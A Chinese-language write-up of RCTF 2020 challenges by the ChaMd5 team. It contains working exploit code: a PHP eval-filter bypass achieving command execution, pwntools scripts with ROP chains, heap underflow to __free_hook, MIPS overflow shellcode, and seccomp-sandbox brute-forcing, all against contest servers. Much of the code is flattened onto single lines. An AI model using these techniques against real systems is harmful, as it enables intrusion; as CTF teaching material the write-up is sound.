RCTF 2020 Writeup

2021-02-16 ChaMd5安全團隊

來啦!

今天也是活力滿滿的工作日小編

WEB

calc

解題思路

<?phperror_reporting ( 0 );if(!isset( $_GET [ 'num' ])){     show_source ( __FILE__ );}else{     $str  =  $_GET [ 'num' ];     $blacklist  = [ '[a-z]' ,  '[\x7f-\xff]' ,  '\s' , "'" ,  '"' ,  '`' ,  '\[' ,  '\]' , '\$' ,  '_' ,  '\\\\' , '\^' ,  ',' ];    foreach ( $blacklist  as  $blackitem ) {        if ( preg_match ( '/'  .  $blackitem  .  '/im' ,  $str )) {            die( "what are you want to do?" );        }    }    @eval( 'echo ' . $str . ';' );}?>

fuzz一下沒被ban的字符:

URLENCODE:%251,URLDECODE:%1URLENCODE:%250,URLDECODE:%0URLENCODE:%251,URLDECODE:%1URLENCODE:%252,URLDECODE:%2URLENCODE:%253,URLDECODE:%3URLENCODE:%254,URLDECODE:%4URLENCODE:%255,URLDECODE:%5URLENCODE:%256,URLDECODE:%6URLENCODE:%257,URLDECODE:%7URLENCODE:%258,URLDECODE:%8URLENCODE:%259,URLDECODE:%9URLENCODE:%10,URLDECODE:URLENCODE:%11,URLDECODE:URLENCODE:%12,URLDECODE:URLENCODE:%13,URLDECODE:URLENCODE:%14,URLDECODE:URLENCODE:%15,URLDECODE:URLENCODE:%16,URLDECODE:URLENCODE:%17,URLDECODE:URLENCODE:%18,URLDECODE:URLENCODE:%19,URLDECODE:URLENCODE:%1A,URLDECODE:URLENCODE:%1B,URLDECODE:                           URLENCODE:%1C,URLDECODE:URLENCODE:%1D,URLDECODE:URLENCODE:%1E,URLDECODE:URLENCODE:%1F,URLDECODE:URLENCODE:%21,URLDECODE:!URLENCODE:%23,URLDECODE:URLENCODE:%25,URLDECODE:%URLENCODE:%26,URLDECODE:&URLENCODE:%28,URLDECODE:(URLENCODE:%29,URLDECODE:)URLENCODE:%2A,URLDECODE:*URLENCODE:%2B,URLDECODE:+URLENCODE:-,URLDECODE:-URLENCODE:.,URLDECODE:.URLENCODE:%2F,URLDECODE:/URLENCODE:0,URLDECODE:0URLENCODE:1,URLDECODE:1URLENCODE:2,URLDECODE:2URLENCODE:3,URLDECODE:3URLENCODE:4,URLDECODE:4URLENCODE:5,URLDECODE:5URLENCODE:6,URLDECODE:6URLENCODE:7,URLDECODE:7URLENCODE:8,URLDECODE:8URLENCODE:9,URLDECODE:9URLENCODE:%3A,URLDECODE::URLENCODE:%3B,URLDECODE:;URLENCODE:%3C,URLDECODE:<URLENCODE:%3D,URLDECODE:=URLENCODE:%3E,URLDECODE:>URLENCODE:%3F,URLDECODE:?URLENCODE:%40,URLDECODE:@URLENCODE:%7B,URLDECODE:{URLENCODE:%7C,URLDECODE:|URLENCODE:%7D,URLDECODE:}URLENCODE:%7E,URLDECODE:~

我們可以使用的有數字、特殊符號以及一些運算符,運算符有這些:

< 、=、>、+、*、!、&、|、~、%

我們可以通過科學運算法的方式拿到字符串0-9、E、+、.: 

?num=(1000000000000000000000).(2) 

返回:1.0E+212 

最後一個字符是我們可控的,可以令其為0-9任意一個數字,這樣拼接起來後返回的就是一個字符串,並且我們還可以控制最後一位。 

?num=((1000000000000000000000).(2)){1}

如上可以獲得.這個符號,經過測試,數字與任意字符串進行除法運算,可以獲得三個字母I、N、F。 

因為題目中不允許使用引號,所以這裡的字符串可以用第一步獲取到的E、.、0-9來替換。

通過"1"|"E","3"|"E"的方式,可以獲取到u和w兩個字母。

現在我們擁有了這些可以使用的東西: 

0-9、.、+、I、N、F、u、w、} 

將他們組合起來,相互進行或、和、取反運算,並取上一次的運算結果作為下一次運算的參數。 

代碼:

strings = ['0','1','2','3','4','5','6','7','8','9','E','u','w','}','+','.','I','N','F']
input_value = 'n'
for s in strings: for s1 in strings: data = (chr(ord(s)|ord(s1))).strip() if data not in strings: strings.append(data) if data == input_value: # print(data) print('success',s,'|',s1)
print(len(strings))
for s in strings: for s1 in strings: data = (chr(ord(s)&ord(s1))) data = data.strip() if data == input_value: # print(data) print(1) print('success',s,'&',s1)print(len(strings))for s in strings: for s1 in strings: data = (chr(ord(s)|ord(s1))).strip() if data not in strings: strings.append(data) if data == input_value: # print(data) print('success',s,'|',s1)print(len(strings))for s in strings: for s1 in strings: try: data = (chr(ord(s)&ord(s1))).strip() except: continue if data not in strings:      strings.append(data)
if data == input_value: print(data) # print(data) print('success',s,'|',s1)
for s in strings: try: data = chr(~ord(s)) except: continue data = data.strip() if data not in strings: strings.append(data) print(data) if data == input_value: # print(data)      print('success',s,'|')
input_value = 's'print(strings)

此時我們以及可以獲得到這些字符串了:

 接著就是一個一個拼的過程了,最終採用system(getallheaders{1})的方式進行rce:

調用readflag的腳本:

((((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).((((999**999).(1)){0})&(((999**999).(1)){1})).(((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).(((999**999).(1)){0}).(((999**999).(1)){1}).(((999**999).(1)){2}).((((999**999).(1)){0})|(((999**999).(1)){1})))()

第一遍構造的是system(/readflag) 發現要算數

接著構造 system(next(getallheaders()))

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((1).(0)){0}|((1/0).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})).((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))))((((0/0).(0)){0}.(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((1/0).(0)){0}&((1/0).(0)){1})|(((8).(0)){0})).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).(((1/0).(0)){0}&((1/0).(0)){1}).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((0/0).(0)){0}&(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((2).(0)){0}))).(((((2).(0)){0}){0})|(((0/0).(0)){1})))()));

打過去的時候都需要進行url編碼一下

最終結果:

Misc

mysql_interface

解題思路

考察tidb的parse

利用已有代碼重現parse過程,注意安裝的時候安裝對應的版本的包

go mod init testgo get "github.com/pingcap/parser@v3.1.2-0.20200507065358-a5eade012146+incompatible"go get "github.com/pingcap/tidb/types/parser_driver@v1.1.0-beta.0.20200520024639-0414aa53c912"

package main
import ( "fmt" "github.com/pingcap/parser" _ "github.com/pingcap/tidb/types/parser_driver" )

var isForbidden = [256]bool{}

const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"

func init() { for i := 0; i < len(forbidden); i++ { isForbidden[forbidden[i]] = true }}
func allow(payload string) bool { if len(payload) < 3 || len(payload) > 128 { fmt.Println("length") return false } for i := 0; i < len(payload); i++ { if isForbidden[payload[i]] { fmt.Println("isForbidden") return false } } if _, _, err := parser.New().Parse(payload, "", ""); err != nil { fmt.Println("[*] parser success") return true } fmt.Println("parser error") return false}
func main() { payload := "select+flag from .flag" result := allow(payload) fmt.Println(result)}

經過不斷瞎雞兒fuzz。最終發現在table_name這裡帶.可以過去

Cryto

easy_f(x)

解題思路

簡單解方程,513元,模下線性方程,用sage解個矩陣就好

這裡是是python結合sage的腳本,可能要稍微改改才能跑,還在改23333

import string from Crypto.Util.number import getPrime as getprime ,long_to_bytes,bytes_to_long,inversefrom pwn import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256#context.log_level = "debug"
#table='zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP'
sh=remote("124.156.140.90","2333")sh.recvuntil("sha256(XXXX+")suffix=sh.recv(len('SLhlaef5L6nM6pYx')).decode('utf-8')sh.recvuntil("== ")cipher=sh.recv(len('3ade7863765f07a3fbb9d853a00ffbe0485c30eb607105196b0d1854718a7b6c')).decode('utf-8')sh.recvuntil("Give me XXXX:")proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendline(proof)sh.recvuntil("M=")m = int(sh.recvuntil("\n")[:-1])sh.recvuntil("want?\n")sh.sendline("513")x=[]r=[]for _ in range(513): sh.recvuntil("f(") x.append(int(sh.recvuntil(")")[:-1])) sh.recvuntil("=") r.append(int(sh.recvuntil("\n")[:-1]))
#sage:a=[]for i in x: b=[] for j in range(513): b.append(pow (i, j, m)) a.append(b)

y=[]for i in r: y.append(i)A=Matrix(Zmod(m),a)Y=vector(y)X = A.solve_right(Y) sh.sendline(str(X[0]))sh.interactive()

Pwn

bf

解題思路

    漏洞在-[]可以循環執行[]括號裡面的命令,這裡會造成一個單字節溢出,溢出剛好可以修改code的指針值。然後後面就是單字節溢出在棧上的利用了。不過有一點需要注意,在函數退出,進行利用鏈之前,要將code指針還原,有個函數應該是對code指針進行析構了,不還原程序會crash.

from PwnContext import *from pwn import *#context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug's       = lambda data               :ctx.send(str(data))        #in case that data is an intsa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) sl      = lambda data               :ctx.sendline(str(data)) sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) r       = lambda numb=4096          :ctx.recv(numb)ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)irt     = lambda                    :ctx.interactive()rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)# misc functionsuu32    = lambda data   :u32(data.ljust(4, '\x00'))uu64    = lambda data   :u64(data.ljust(8, '\x00'))leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'bf'libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")ctx.debug_remote_libc = Falselocal=0
def choice(): if(local): p=rs() else: ctx.remote = ('124.156.135.103',6002) p=rs('remote') return p

def debug(): if(local==1): libc_base = ctx.bases.libc print hex(libc_base) ctx.symbols = {'sym1':0x1B1A,'sym2':0x16D8,'sym3':0x1BCB,'sym4':0x1BFE} ctx.breakpoints = [0x1B1A,0x16D8,0x1BCB,0x1BFE] ctx.debug()

#def exp(): payload="-[>+]," sla("enter your code:\n",payload) ru("ing...") s(p8(0x78)) ru("\x3a\x20") libc_base=uu64(r(6))-(0x7ffff740db97-0x00007ffff73ec000) leak("libc_base",libc_base) if libc_base&0xff !=0: raise Exception("no libc_base") sa("continue",'y') #pause() #debug() #pause() payload="-[>+]," sla("enter your code:\n",payload) ru("ing...") s(p8(0x88)) ru("\x3a\x20") stack=uu64(r(6)) leak("stack_addr",stack) #pause() if libc_base>>40 !=0x7f: raise Exception("no stack") leak("stack",stack) #pause() sa("continue",'y')

payload="-[>,]" sla("enter your code:\n",payload) ru("ing...") for i in range(0x400): s(p8(0x70)) sa("continue",'y')

rop_addr=stack-0x528 pop_rsp=0x0000000000003960+libc_base payload="[.]"+p64(pop_rsp)+p64(rop_addr) sla("enter your code:\n",payload) sa("continue",'y') pop_rdi_ret=0x000000000002155f+libc_base pop_rsi_ret=0x0000000000023e6a+libc_base pop_rdx_ret=0x0000000000001b96+libc_base open_addr=libc_base+libc.symbols["open"] read_addr=libc_base+libc.symbols["read"] puts_addr=libc_base+libc.symbols["write"] orw=p64(pop_rdi_ret)+p64(rop_addr+19*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr) orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr) orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)+'./flag\x00' payload="-[,>+]," sla("enter your code:\n",payload) for i in range(len(orw)): s(orw[i]) for i in range(0x400-len(orw)+1): s('\x40') #debug() sa("continue",'n')

while(1): try: p=choice() exp() break except Exception:        p.close()irt()


note

解題思路

題目在檢查數組邊界時只檢查了最大值且使用了有符號數,導致數組下溢

from pwn import *prog = './note'p = process(prog)libc = ELF("./libc.so.6")p = remote("124.156.135.103", 6004)      def add(idx, size):  p.sendlineafter("Choice: ", '1')  p.sendlineafter("Index: ", str(idx))  p.sendlineafter("Size: ", str(size))def show(idx):  p.sendlineafter("Choice: ", '3')  p.sendlineafter("Index: ", str(idx))def edit(idx, content):  p.sendlineafter("Choice: ", '4')  p.sendlineafter("Index: ", str(idx))  p.sendlineafter("Message: \n", content)def free(idx):  p.sendlineafter("Choice: ", '2')  p.sendlineafter("Index: ", str(idx))def exp():  add(0, 1)  show(-5)  p.recv(0x18)  libc.address = u64(p.recv(6)+'\x00'*2)-0x00007fe3dafa1760+0x7fe3dadbc000  log.info("libc.address ==> " + hex(libc.address))  edit(-5, p64(libc.sym['__free_hook'])+p64(8))  edit(-5, p64(libc.address+0x106ef8))  free(0)  p.interactive()if __name__ == '__main__':  exp()

mginx

解題思路

題目在檢查數組邊界時只檢查了最大值且使用了有符號數,導致數組下溢

$ checksec ./mginx [!] Did not find any GOT entries[*] '/home/kirin/xctf/mnigx/mginx'    Arch:     mips64-64-big    RELRO:    No RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x120000000)    RWX:      Has RWX segments

這裡是實現的一個簡單的HTTP解析程序

程序在根據Content-Length計算第二次需要read的數據長度時存在邏輯問題,並且直接從第一次read的HTTP頭結尾開始read,可以造成棧溢出:

.text:0000000120001B00 dli $v0, 0x120000000 .text:0000000120001B04 daddiu $a1, $v0, (asc_1200021E0 - 0x120000000) .text:0000000120001B08 ld $a0, 0x10C0+haystack($fp) .text:0000000120001B0C dla $v0, strstr .text:0000000120001B10 move $t9, $v0.text:0000000120001B14 jalr $t9 ; strstr .text:0000000120001B18 nop.text:0000000120001B1C sd $v0, 0x10C0+var_10A0($fp) .text:0000000120001B20 ld $v0, 0x10C0+var_10A0($fp) .text:0000000120001B24 beqz $v0, loc_120001C70 .text:0000000120001B28 nop.text:0000000120001B2C ld $v0, 0x10C0+var_10A0($fp) .text:0000000120001B30 daddiu $v0, 4 .text:0000000120001B34 sd $v0, 0x10C0+var_10A0($fp) .text:0000000120001B38 ld $v0, 0x10C0+var_10A0($fp) .text:0000000120001B3C sd $v0, 0x10C0+var_1070($fp) .text:0000000120001B40 lw $v1, 0x10C0+var_10A8($fp) .text:0000000120001B44 daddiu $a0, $fp, 0x10C0+var_1038 .text:0000000120001B48 ld $v0, 0x10C0+var_10A0($fp) .text:0000000120001B4C dsubu $v0, $a0 .text:0000000120001B50 sll $v0, 0 .text:0000000120001B54 subu $v0, $v1, $v0 .text:0000000120001B58 move $v1, $v0.text:0000000120001B5C lw $v0, 0x10C0+var_1068($fp) .text:0000000120001B60 addu $v0, $v1, $v0 .text:0000000120001B64 sw $v0, 0x10C0+var_10B8($fp) .text:0000000120001B68 daddiu $v1, $fp, 0x10C0+var_1038 .text:0000000120001B6C lw $v0, 0x10C0+var_10A8($fp) .text:0000000120001B70 daddu $v0, $v1, $v0 .text:0000000120001B74 sd $v0, 0x10C0+buf($fp) .text:0000000120001B78 b loc_120001BD0 .text:0000000120001B7C nop.text:0000000120001B80 .text:0000000120001B80.text:0000000120001B80 loc_120001B80: .text:0000000120001B80 lw $v0, 0x10C0+var_10B8($fp) .text:0000000120001B84 move $a2, $v0 .text:0000000120001B88 ld $a1, 0x10C0+buf($fp) .text:0000000120001B8C move $a0, $zero .text:0000000120001B90 dla $v0, read .text:0000000120001B94 move $t9, $v0.text:0000000120001B98 jalr $t9 ; read .text:0000000120001B9C nop.text:0000000120001BA0 sw $v0, 0x10C0+var_1094($fp) .text:0000000120001BA4 lw $v0, 0x10C0+var_1094($fp) .text:0000000120001BA8 blez $v0, loc_120001BE4 .text:0000000120001BAC nop.text:0000000120001BB0 lw $v0, 0x10C0+var_10B8($fp) .text:0000000120001BB4 ld $v1, 0x10C0+buf($fp) .text:0000000120001BB8 daddu $v0, $v1, $v0 .text:0000000120001BBC sd $v0, 0x10C0+buf($fp) .text:0000000120001BC0 lw $v1, 0x10C0+var_10B8($fp) .text:0000000120001BC4 lw $v0, 0x10C0+var_1094($fp) .text:0000000120001BC8 subu $v0, $v1, $v0 .text:0000000120001BCC sw $v0, 0x10C0+var_10B8($fp) .text:0000000120001BD0.text:0000000120001BD0 loc_120001BD0: .text:0000000120001BD0 lw $v0, 0x10C0+var_10B8($fp) .text:0000000120001BD4 bnez $v0, loc_120001B80 .text:0000000120001BD8 nop.text:0000000120001BDC b loc_120001BE8 .text:0000000120001BE0 nop

類似payload:"GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b0

程序沒有開啟NX保護,但是mips沒有類似jmp rsp的操作

考慮先遷移棧到data段,而後再次棧溢出即可

(這裡orw的shellcode,賽時沒找到合適的as,為了趕時間,直接對照題目的elf文件中彙編到機器碼的規則,以及題目uclibc中特定函數的syscall參數,人工翻譯出來的orz)

from pwn import *import syscontext.log_level="debug"context.endian="big"if len(sys.argv)==1:   p=process(["qemu-mips64","-g","1234","-L","./","./mginx"])   time.sleep(3)elif len(sys.argv)==2:   p=process(["qemu-mips64","-L","./","./mginx"])  else:  p=remote("124.156.129.96",8888)
payload1="GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b1p.send(payload1)ra=0x1200018C4fp=0x120012540gp=0x12001a250payload="b"*(0x654-0x20)+p64(gp)+p64(fp)+p64(ra)+"d"*8payload=payload.ljust(0xd98,"b")p.sendline(payload)p.recvuntil("404 Not Found :(")
p.sendline(payload1)ra=0x120013608shellcode="\xc8\xff\xa4\x67"[::-1]shellcode+="\xff\xff\x05\x28"[::-1]shellcode+="\xff\xff\x06\x28"[::-1]shellcode+="\x8a\x13\x02\x24"[::-1]shellcode+="\x0c\x00\x00\x00"[::-1]shellcode+="\x00\x40\x20\x25"shellcode+="\xc0\xff\xa5\x67"[::-1]shellcode+="\x24\x06\x00\x28"shellcode+="\x88\x13\x02\x24"[::-1]shellcode+="\x0c\x00\x00\x00"[::-1]shellcode+="\x24\x04\x00\x01"shellcode+="\xc0\xff\xa5\x67"[::-1]shellcode+="\x24\x06\x00\x28"shellcode+="\x89\x13\x02\x24"[::-1]shellcode+="\x0c\x00\x00\x00"[::-1]f="/flag"payload="b"*(0x653-0x40)+f+"\x00"*(0x28-len(f))+p64(fp)+p64(ra)+"d"*8+shellcode+"a"*(0xd99-0x654-len(shellcode))p.sendline(payload)p.sendline()p.interactive()

no write

解題思路

$ checksec ./no_write [*] '/home/kirin/xctf/no_write/no_write'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)

程序用prctl開啟了沙箱,沙箱規則:

$ seccomp-tools  dump ./no_write  line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010 0004: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0009 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0009 0007: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000  return KILL 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0010: 0x06 0x00 0x00 0x00000000  return KILL

只能進行open read 和exit

因為沒有leak,所以首先要做的就是棧遷移,直接通過連續復用leave ret語句即可

因為這裡沒有syscall,所以想辦法在棧中留下一個syscall

觀察發現遷移棧後rcx=libc中read地址附近一個地址:

.text:000000000011007F syscall ; LINUX - sys_read.text:0000000000110081 cmp rax, 0FFFFFFFFFFFFF000h.text:0000000000110087 ja short loc_1100E0.text:0000000000110089 rep retn.text:0000000000110090 loc_110090: ; CODE XREF: read+B↑j.text:0000000000110090 push r12.text:0000000000110092 push rbp.text:0000000000110093 mov r12, rdx.text:0000000000110096 push rbx.text:0000000000110097 mov rbp, rsi.text:000000000011009A mov ebx, edi.text:000000000011009C sub rsp, 10h.text:00000000001100A0 call sub_1306E0.text:00000000001100A5 mov rdx, r12 ; count.text:00000000001100A8 mov r8d, eax.text:00000000001100AB mov rsi, rbp ; buf.text:00000000001100AE mov edi, ebx ; fd.text:00000000001100B0 xor eax, eax.text:00000000001100B2 syscall

偏移:0x110081位置

附近恰好有syscall地址,所以想到直接利用調用start中的libc_start_main來在棧中構造syscall地址

簡單說明一下:libc_start_main邏輯:在重新執行0x110081位置後,會直接ret入libc_start_main指定的"main函數"地址,這時候rbp=rcx,push入棧

在棧中留下一個syscall附近地址後(read附近的syscall可以順利ret,沒有crash),只需要多次寫,構造一條rop鏈,並修改地址低字節,就可以實現open("./flag");read(fd,flag_addr,len);

flag讀入data段後,因為沒有輸出,所以要選擇一條已知地址的cmp語句來實現判斷,一一看過之後最後選擇:

.text:0000000000400750 loc_400750:                             ; CODE XREF: __libc_csu_init+54↓j.text:0000000000400750                 mov     rdx, r15.text:0000000000400753                 mov     rsi, r14.text:0000000000400756                 mov     edi, r13d.text:0000000000400759                 call    qword ptr [r12+rbx*8].text:000000000040075D                 add     rbx, 1.text:0000000000400761                 cmp     rbp, rbx.text:0000000000400764                 jnz     short loc_400750.text:0000000000400766.text:0000000000400766 loc_400766:                             ; CODE XREF: __libc_csu_init+34↑j.text:0000000000400766                 add     rsp, 8.text:000000000040076A                 pop     rbx.text:000000000040076B                 pop     rbp.text:000000000040076C                 pop     r12.text:000000000040076E                 pop     r13.text:0000000000400770                 pop     r14.text:0000000000400772                 pop     r15.text:0000000000400774                 retn

    只需讓flag放在合適位置,在調用.text:0000000000400766時候就可以讓flag其中一位pop入寄存器,而後再ret入0x400761這個位置,兩個思路:

直接通過比較rbp和rbx的值判斷flag:rbx是flag其中一位(其他位覆蓋為00位元組就可以實現一位一位pop),而後設置rbp為猜測值,這樣只有相等時,才會繼續走下面的ret,在ret位置放置read,就可以通過判斷是否阻塞來爆破每一位

第二種類似:控制r12,rbp=0,這樣總會走jnz程序流,這時候rbx為特定值,通過不斷修改r12,當r12+rbx*8位置處為read時發生阻塞,只需要在特定位置放置一個可以read的地址,r12從大到小,當第一次發生read阻塞時,r12+rbx*8就是已知的一個地址,r12已知,直接可以計算出rbx

賽時趕時間沒寫好完全的多線程腳本,通過修改current值(flag字符的index),一位一位爆破即可:

from pwn import *import time
context.log_level="debug"#p=process("./no_write")current=4for i in range(32,127): print i try: p=remote("129.211.134.166",6000) payload1="a"*0x10+p64(0x601f00)+p64(0x04006F5) time.sleep(0.5) p.send(payload1) payload2="a"*0x10+p64(0x601f00)+p64(0x0400773)+p64(0x4006bf)+p64(0x400771)+p64(0x601e70)+p64(0)+p64(0x400544) time.sleep(0.5) p.send(payload2) payload3=(p64(0x400772)+p64(0))*6+p64(0x04004f0) time.sleep(0.5) p.send(payload3) payload4=p64(0)*5+p64(0x400773)+p64(3)+p64(0x400771)+p64(0x601d00-current)+p64(0) payload4+=p64(0x4004f0)+p64(0x400773)+p64(0) payload4+=p64(0x400771)+p64(0x601e40)+p64(0)+p64(0x4004f0) payload4+=p64(0x400771)+p64(0x601e00)+p64(0)+p64(0x4004f0) payload4+=p64(0x40076d)+p64(0x601e28)+"./flag" f_addr=0x601f28 rop=p64(0x0400773)+p64(f_addr)+p64(0x400771)+p64(0)+p64(0)+"\xb2" time.sleep(0.5) p.send(payload4) time.sleep(0.5) p.send(rop) time.sleep(0.5) p.send("aa") payload5=p64(0x400771)+p64(0x601d01)+p64(0)+p64(0x4004f0) payload5+=p64(0x400771)+p64(0x601cf8)+p64(0)+p64(0x4004f0) payload5+=p64(0x40076d)+p64(0x601ce0)+p64(0)*13 payload5+=p64(0x40076d)+p64(0x601e28) time.sleep(0.5) p.send(payload5) r12=0 bp=i payload6="\x00"*7+p64(bp)+p64(r12)+p64(0)+p64(0x601f00)+p64(0x100)+p64(0x400761) payload6+=p64(0)*7+p64(0x4004f0)+p64(0x4004f0) time.sleep(0.5) p.send(payload6) #gdb.attach(p) time.sleep(0.5) p.send(p64(0x40076A)) print "current",chr(i) p.recvall() break except: print "fail"

Reverse

go-flag

解題思路

go 多線程

長度F6的都是寫,fun1是讀,但是不知道什麼時候讀的

這些協程的運行於brainfuck的執行過程相似。

main_main_fun1作用比較明顯,就是接受輸入,並調用了runtime_chansend,那讀取數數據必然就要使用runtime_chanrecv,其交叉引用共了24個函數(用戶自寫函數),那麼要校驗輸入肯定要用自減,自減的循環數即是對應的正確字符。注意到如下賦值語句:

4BB29D 88 14 0E          mov     [rsi+rcx], dl

以此字節碼搜索正好搜索到24處,dl即為輸入字符,[rsi+rcx-1]就是循環數。

.text:00000000004BB29D  main_main_func446  mov     [rsi+rcx], dl.text:00000000004C02BD  main_main_func542  mov     [rsi+rcx], dl.text:00000000004C53BD  main_main_func639  mov     [rsi+rcx], dl.text:00000000004CA2FD  main_main_func734  mov     [rsi+rcx], dl.text:00000000004CF85D  main_main_func836  mov     [rsi+rcx], dl.text:00000000004D4BFD  main_main_func936  mov     [rsi+rcx], dl.text:00000000004D9F9D  main_main_func1036  mov     [rsi+rcx], dl.text:00000000004DF4FD  main_main_func1138  mov     [rsi+rcx], dl.text:00000000004E47BD  main_main_func1237  mov     [rsi+rcx], dl.text:00000000004E9D1D  main_main_func1339  mov     [rsi+rcx], dl.text:00000000004EEC5D  main_main_func1434  mov     [rsi+rcx], dl.text:00000000004F3FFD  main_main_func1534  mov     [rsi+rcx], dl.text:00000000004F92BD  main_main_func1633  mov     [rsi+rcx], dl.text:00000000004FE81D  main_main_func1735  mov     [rsi+rcx], dl.text:0000000000503BBD  main_main_func1835  mov     [rsi+rcx], dl.text:00000000005091FD  main_main_func1938  mov     [rsi+rcx], dl.text:000000000050E75D  main_main_func2040  mov     [rsi+rcx], dl.text:0000000000513AFD  main_main_func2140  mov     [rsi+rcx], dl.text:000000000051905D  main_main_func2242  mov     [rsi+rcx], dl.text:000000000051E5BD  main_main_func2344  mov     [rsi+rcx], dl.text:0000000000523B1D  main_main_func2446  mov     [rsi+rcx], dl.text:0000000000528DDD  main_main_func2545  mov     [rsi+rcx], dl.text:000000000052DFBD  main_main_func2643  mov     [rsi+rcx], dl.text:00000000005336DD  main_main_func2747  mov     [rsi+rcx], dl

下接腳本下斷,記錄dl值即可。

cipher

解題思路

題目 提供數據

0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2, 0x0A

是一道mips64的題目,考慮ida7.5才支持mips反編譯,所以只能上ghidra了。

main函數


cipher是關鍵函數

嵌套一個encrypt

嘗試angr爆破,由於大小端原因沒爆破出來,正在嘗試逆向腳本。

def ror(v,n):  return ((v >> n) | (v << (64-n)))&0xffffffffffffffff

def encrypt(a,b,c,d ): b = (ror(b,8) + a ^ c)&0xffffffffffffffff a = ror(a,61) ^ b for i in range(0x1f): d = (ror(d,8) + c ^ i)&0xffffffffffffffff c = ror(c,61) ^ d b = (ror(b,8) + a ^ c)&0xffffffffffffffff a = ror(a,61) ^ b return a,b def decrypt(a,b,c,d): key = [d,c] for i in range(0x1f): key.append((ror(key[2*i],8) + key[2*i+1] ^ i)&0xffffffffffffffff ) key.append(ror(key[2*i+1],61) ^ key[2*i+2])

for i in range(0x1f,-1,-1): a = ror(a^b,3) b = ror(((b^key[2*i+1])-a)&0xffffffffffffffff,56) return a,b

